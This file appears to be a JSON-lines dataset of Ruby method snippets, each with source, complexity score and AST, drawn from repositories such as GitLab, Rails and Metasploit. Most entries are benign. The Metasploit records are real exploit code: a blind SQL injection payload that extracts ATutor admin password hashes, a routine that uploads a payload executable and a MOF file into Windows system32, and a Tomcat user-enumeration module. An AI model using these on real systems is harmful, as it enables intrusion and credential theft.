end","complexity_score":43.5,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"exe_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"WINDOWS/system32/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[10]}]},\"+\",{\"type\":\"int\",\"children\":[5]}]}]}]},{\"type\":\"str\",\"children\":[\".exe\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"mof_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"WINDOWS/system32/wbem/mof/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[10]}]},\"+\",{\"type\":\"int\",\"children\":[5]}]}]}]},{\"type\":\"str\",\"children\":[\".mof\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@mof\",{\"type\":\"send\",\"children\":[null,\"generate_mof\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"basename\",{\"type\":\"lvar\",\"children\":[\"mof_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"basename\",{\"type\":\"lvar\",\"children\":[\"exe_name\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@exe\",{\"type\":\"send\",\"children\":[null,\"generate_payload_exe\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@stage\",{\"type\":\"sym\",\"children\":[\"exe\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"t\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"threads\"]},\"spawn\",{\"type\":\"str\",\"children\":[\"reqs\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"u\",{\"type\":\"send\",\"children\":[null,\"upload\",{\"type\":\"lvar\",\"children\":[\"exe_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},{\"type\":\"send\",\"children\":[null,\"upload\",{\"type\":\"lvar\",\"children\":[\"mof_name\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"register_file_for_cleanup\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"basename\",{\"type\":\"lvar\",\"children\":[\"exe_name\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_file_for_cleanup\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"wbem\\\\mof\\\\good\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"basename\",{\"type\":\"lvar\",\"children\":[\"mof_name\"]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Exception\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Upload Failed: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"cleanup\"]}]}]},null]}]}]}]},{\"type\":\"zsuper\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"kill\"]}]}]}]}]}","id":"c204d7e0-37e9-4074-b5e2-48402330c410"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/ruby_lsp/rubocop/addon.rb","start_line":71,"raw_source":"def workspace_did_change_watched_files(changes)\n if (changed_config_file = changed_config_file(changes))\n @runtime_adapter.reload_config\n\n ::RuboCop::LSP::Logger.log(<<~MESSAGE, prefix: '[RuboCop]')\n Re-initialized RuboCop LSP addon #{::RuboCop::Version::STRING} due to #{changed_config_file} change.\n MESSAGE\n end\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"workspace_did_change_watched_files\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"changes\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"changed_config_file\",{\"type\":\"send\",\"children\":[null,\"changed_config_file\",{\"type\":\"lvar\",\"children\":[\"changes\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@runtime_adapter\"]},\"reload_config\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"RuboCop\"]},\"LSP\"]},\"Logger\"]},\"log\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Re-initialized RuboCop LSP addon \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"RuboCop\"]},\"Version\"]},\"STRING\"]}]},{\"type\":\"str\",\"children\":[\" due to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"changed_config_file\"]}]},{\"type\":\"str\",\"children\":[\" change.\\n\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"prefix\"]},{\"type\":\"str\",\"children\":[\"[RuboCop]\"]}]}]}]}]},null]}]}","id":"c5f9db9e-2f73-4eb4-b0e5-4ccbfff80f34"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/atutor_sqli.rb","start_line":170,"raw_source":"def dump_the_hash\n extracted_hash = \"\"\n sqli = \"(select/**/length(concat(login,0x3a,password))/**/from/**/AT_admins/**/limit/**/0,1)\"\n login_and_hash_length = generate_sql_and_test(do_true = false, do_test = false, sql = sqli).to_i\n for i in 1..login_and_hash_length\n sqli = \"ascii(substring((select/**/concat(login,0x3a,password)/**/from/**/AT_admins/**/limit/**/0,1),#{i},1))\"\n asciival = generate_sql_and_test(false, false, sqli)\n if asciival >= 0\n extracted_hash << asciival.chr\n end\n end\n return extracted_hash.split(\":\")\n end","complexity_score":19.75,"ast_json":"{\"type\":\"def\",\"children\":[\"dump_the_hash\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"extracted_hash\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"sqli\",{\"type\":\"str\",\"children\":[\"(select/**/length(concat(login,0x3a,password))/**/from/**/AT_admins/**/limit/**/0,1)\"]}]},{\"type\":\"lvasgn\",\"children\":[\"login_and_hash_length\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"generate_sql_and_test\",{\"type\":\"lvasgn\",\"children\":[\"do_true\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"do_test\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"sql\",{\"type\":\"lvar\",\"children\":[\"sqli\"]}]}]},\"to_i\"]}]},{\"type\":\"for\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"i\"]},{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"lvar\",\"children\":[\"login_and_hash_length\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sqli\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ascii(substring((select/**/concat(login,0x3a,password)/**/from/**/AT_admins/**/limit/**/0,1),\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]}]},{\"type\":\"str\",\"children\":[\",1))\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"asciival\",{\"type\":\"send\",\"children\":[null,\"generate_sql_and_test\",{\"type\":\"false\",\"children\":[]},{\"type\":\"false\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"sqli\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"asciival\"]},\">=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extracted_hash\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"asciival\"]},\"chr\"]}]},null]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extracted_hash\"]},\"split\",{\"type\":\"str\",\"children\":[\":\"]}]}]}]}]}","id":"ad4f7d8d-a8fb-4acb-a4e7-98f6bc38be23"} {"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/base.rb","start_line":247,"raw_source":"def self.attr_accessor(*vars)\n @attributes ||= []\n @attributes.concat(vars)\n super(*vars)\n end","complexity_score":3.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"attr_accessor\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"vars\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@attributes\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@attributes\"]},\"concat\",{\"type\":\"lvar\",\"children\":[\"vars\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vars\"]}]}]}]}]}","id":"aa8fbfdd-9849-423d-9caf-2ba781b0557e"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/services/system_notes/issuables_service_spec.rb","start_line":121,"raw_source":"def build_note(old_assignees, new_assignees)\n issue.assignees = new_assignees\n service.change_issuable_assignees(old_assignees).note\n end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"build_note\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"old_assignees\"]},{\"type\":\"arg\",\"children\":[\"new_assignees\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issue\"]},\"assignees=\",{\"type\":\"lvar\",\"children\":[\"new_assignees\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"service\"]},\"change_issuable_assignees\",{\"type\":\"lvar\",\"children\":[\"old_assignees\"]}]},\"note\"]}]}]}","id":"111d3818-3f88-44f7-bb89-d1dec208ef66"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/cleanup/personal_access_tokens.rb","start_line":28,"raw_source":"def run!(dry_run: true, revoke_active_tokens: false)\n # rubocop:disable Rails/Output\n if dry_run\n puts \"Dry running. No changes will be made\"\n elsif revoke_active_tokens\n puts \"Revoking used and unused access tokens created before #{cut_off_date}...\"\n else\n puts \"Revoking access tokens last used and created before #{cut_off_date}...\"\n end\n # rubocop:enable Rails/Output\n\n tokens_to_revoke = revocable_tokens(revoke_active_tokens)\n\n # rubocop:disable Cop/InBatches\n tokens_to_revoke.in_batches do |access_tokens|\n revoke_batch(access_tokens, dry_run)\n end\n # rubocop:enable Cop/InBatches\n end","complexity_score":13.5,"ast_json":"{\"type\":\"def\",\"children\":[\"run!\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"dry_run\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"revoke_active_tokens\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dry_run\"]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"Dry running. No changes will be made\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"revoke_active_tokens\"]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Revoking used and unused access tokens created before \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cut_off_date\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Revoking access tokens last used and created before \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cut_off_date\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tokens_to_revoke\",{\"type\":\"send\",\"children\":[null,\"revocable_tokens\",{\"type\":\"lvar\",\"children\":[\"revoke_active_tokens\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tokens_to_revoke\"]},\"in_batches\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"access_tokens\"]}]},{\"type\":\"send\",\"children\":[null,\"revoke_batch\",{\"type\":\"lvar\",\"children\":[\"access_tokens\"]},{\"type\":\"lvar\",\"children\":[\"dry_run\"]}]}]}]}]}","id":"06afe3e4-5850-4500-bdd3-0206f3314e64"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/integrations_helper.rb","start_line":37,"raw_source":"def integration_event_description(integration, event)\n case integration\n when Integrations::Jira\n jira_integration_event_description(event)\n when Integrations::Teamcity\n teamcity_integration_event_description(event)\n else\n default_integration_event_description(event)\n end\n end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"integration_event_description\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"integration\"]},{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"integration\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Integrations\"]},\"Jira\"]},{\"type\":\"send\",\"children\":[null,\"jira_integration_event_description\",{\"type\":\"lvar\",\"children\":[\"event\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Integrations\"]},\"Teamcity\"]},{\"type\":\"send\",\"children\":[null,\"teamcity_integration_event_description\",{\"type\":\"lvar\",\"children\":[\"event\"]}]}]},{\"type\":\"send\",\"children\":[null,\"default_integration_event_description\",{\"type\":\"lvar\",\"children\":[\"event\"]}]}]}]}","id":"e5aae270-810f-4481-989e-2c09cd3b01e4"} {"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/admin_web_hook_events.rb","start_line":27,"raw_source":"def has_no_web_hook_event?(id)\n page.has_no_css?(\"li .event-id\", text: id)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_no_web_hook_event?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"has_no_css?\",{\"type\":\"str\",\"children\":[\"li .event-id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}]}","id":"e4b171ac-ed18-48bb-b689-3e8c958c9f9b"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/tasks/database_tasks_test.rb","start_line":823,"raw_source":"def test_ignores_remote_databases\n @configurations[:development][\"host\"] = \"my.server.tld\"\n\n with_stubbed_configurations do\n assert_not_called(ActiveRecord::Tasks::DatabaseTasks, :drop) do\n ActiveRecord::Tasks::DatabaseTasks.drop_all\n end\n end\n end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_ignores_remote_databases\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@configurations\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"development\"]}]},\"[]=\",{\"type\":\"str\",\"children\":[\"host\"]},{\"type\":\"str\",\"children\":[\"my.server.tld\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_stubbed_configurations\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_not_called\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},{\"type\":\"sym\",\"children\":[\"drop\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},\"drop_all\"]}]}]}]}]}","id":"8ff75ea2-601c-4a4d-b0e4-37f544b14490"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/values/time_zone.rb","start_line":562,"raw_source":"def period_for_utc(time) # :nodoc:\n tzinfo.period_for_utc(time)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"period_for_utc\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"time\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tzinfo\"]},\"period_for_utc\",{\"type\":\"lvar\",\"children\":[\"time\"]}]}]}","id":"5467845b-c856-4777-863b-dced51fe6f88"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/find_exposed_artifacts_service.rb","start_line":61,"raw_source":"def path_for_entries(entries, job)\n return if entries.empty?\n\n if single_artifact?(entries)\n file_project_job_artifacts_path(job.project, job, entries.first.path)\n else\n browse_project_job_artifacts_path(job.project, job)\n end\n end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"path_for_entries\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entries\"]},{\"type\":\"arg\",\"children\":[\"job\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entries\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"single_artifact?\",{\"type\":\"lvar\",\"children\":[\"entries\"]}]},{\"type\":\"send\",\"children\":[null,\"file_project_job_artifacts_path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"project\"]},{\"type\":\"lvar\",\"children\":[\"job\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entries\"]},\"first\"]},\"path\"]}]},{\"type\":\"send\",\"children\":[null,\"browse_project_job_artifacts_path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"project\"]},{\"type\":\"lvar\",\"children\":[\"job\"]}]}]}]}]}","id":"5b2253ad-eedf-4e6d-8381-8d21697680cd"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/twitter/direct_message_parser_service.rb","start_line":104,"raw_source":"def save_media\n save_media_urls(media)\n response = api_client.get(media['media_url'], [])\n\n temp_file = Tempfile.new('twitter_attachment')\n temp_file.binmode\n temp_file << response.body\n temp_file.rewind\n\n return unless media['type'] == 'photo'\n\n @message.attachments.new(\n account_id: @inbox.account_id,\n file_type: 'image',\n file: {\n io: temp_file,\n filename: 'twitter_attachment',\n content_type: media['type']\n }\n )\n @message.save!\n end","complexity_score":25.8,"ast_json":"{\"type\":\"def\",\"children\":[\"save_media\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"save_media_urls\",{\"type\":\"send\",\"children\":[null,\"media\"]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"api_client\"]},\"get\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"media\"]},\"[]\",{\"type\":\"str\",\"children\":[\"media_url\"]}]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"temp_file\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tempfile\"]},\"new\",{\"type\":\"str\",\"children\":[\"twitter_attachment\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"temp_file\"]},\"binmode\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"temp_file\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"temp_file\"]},\"rewind\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"media\"]},\"[]\",{\"type\":\"str\",\"children\":[\"type\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"photo\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@message\"]},\"attachments\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@inbox\"]},\"account_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file_type\"]},{\"type\":\"str\",\"children\":[\"image\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"io\"]},{\"type\":\"lvar\",\"children\":[\"temp_file\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filename\"]},{\"type\":\"str\",\"children\":[\"twitter_attachment\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"media\"]},\"[]\",{\"type\":\"str\",\"children\":[\"type\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@message\"]},\"save!\"]}]}]}","id":"f52d6090-7a10-4eef-95a0-a4e43a21fea9"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/tomcat_enum.rb","start_line":12,"raw_source":"def initialize\n super(\n 'Name' => 'Apache Tomcat User Enumeration',\n 'Description' => %q{\n This module enumerates Apache Tomcat's usernames via malformed requests to\n j_security_check, which can be found in the web administration package. It should\n work against Tomcat servers 4.1.0 - 4.1.39, 5.5.0 - 5.5.27, and 6.0.0 - 6.0.18.\n Newer versions no longer have the \"admin\" package by default. The 'admin' package\n is no longer provided for Tomcat 6 and later versions.\n },\n 'Author' => [\n 'Heyder Andrade <heyder.andrade[at]gmail.com>',\n 'Leandro Oliveira <leandrofernando[at]gmail.com>'\n ],\n 'References' => [\n ['BID', '35196'],\n ['CVE', '2009-0580'],\n ['OSVDB', '55055'],\n ],\n 'License' => MSF_LICENSE\n )\n\n register_options(\n [\n Opt::RPORT(8080),\n OptString.new('TARGETURI', [true, 'The path of the Apache Tomcat Administration page', '/admin/j_security_check']),\n OptPath.new('USER_FILE', [\n true, \"File containing users, one per line\",\n File.join(Msf::Config.data_directory, \"wordlists\", \"tomcat_mgr_default_users.txt\")\n ]),\n ]\n )\n\n deregister_options('PASS_FILE', 'USERPASS_FILE', 'USER_AS_PASS', 'STOP_ON_SUCCESS', 'BLANK_PASSWORDS')\n end","complexity_score":9.95,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Apache Tomcat User Enumeration\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module enumerates Apache Tomcat's usernames via malformed requests to\\n\"]},{\"type\":\"str\",\"children\":[\" j_security_check, which can be found in the web administration package. It should\\n\"]},{\"type\":\"str\",\"children\":[\" work against Tomcat servers 4.1.0 - 4.1.39, 5.5.0 - 5.5.27, and 6.0.0 - 6.0.18.\\n\"]},{\"type\":\"str\",\"children\":[\" Newer versions no longer have the \\\"admin\\\" package by default. The 'admin' package\\n\"]},{\"type\":\"str\",\"children\":[\" is no longer provided for Tomcat 6 and later versions.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Heyder Andrade <heyder.andrade[at]gmail.com>\"]},{\"type\":\"str\",\"children\":[\"Leandro Oliveira <leandrofernando[at]gmail.com>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"35196\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2009-0580\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"55055\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[8080]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The path of the Apache Tomcat Administration page\"]},{\"type\":\"str\",\"children\":[\"/admin/j_security_check\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptPath\"]},\"new\",{\"type\":\"str\",\"children\":[\"USER_FILE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"File containing users, one per line\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"data_directory\"]},{\"type\":\"str\",\"children\":[\"wordlists\"]},{\"type\":\"str\",\"children\":[\"tomcat_mgr_default_users.txt\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"deregister_options\",{\"type\":\"str\",\"children\":[\"PASS_FILE\"]},{\"type\":\"str\",\"children\":[\"USERPASS_FILE\"]},{\"type\":\"str\",\"children\":[\"USER_AS_PASS\"]},{\"type\":\"str\",\"children\":[\"STOP_ON_SUCCESS\"]},{\"type\":\"str\",\"children\":[\"BLANK_PASSWORDS\"]}]}]}]}","id":"c7e5ed94-0665-4253-b1a2-ff46c05bc73d"} {"repo_name":"forem","file_path":"./repos/forem/db/migrate/20210830062627_drop_app_bundle_from_devices.rb","start_line":2,"raw_source":"def change\n safety_assured do\n remove_column :devices, :app_bundle, :string\n end\n 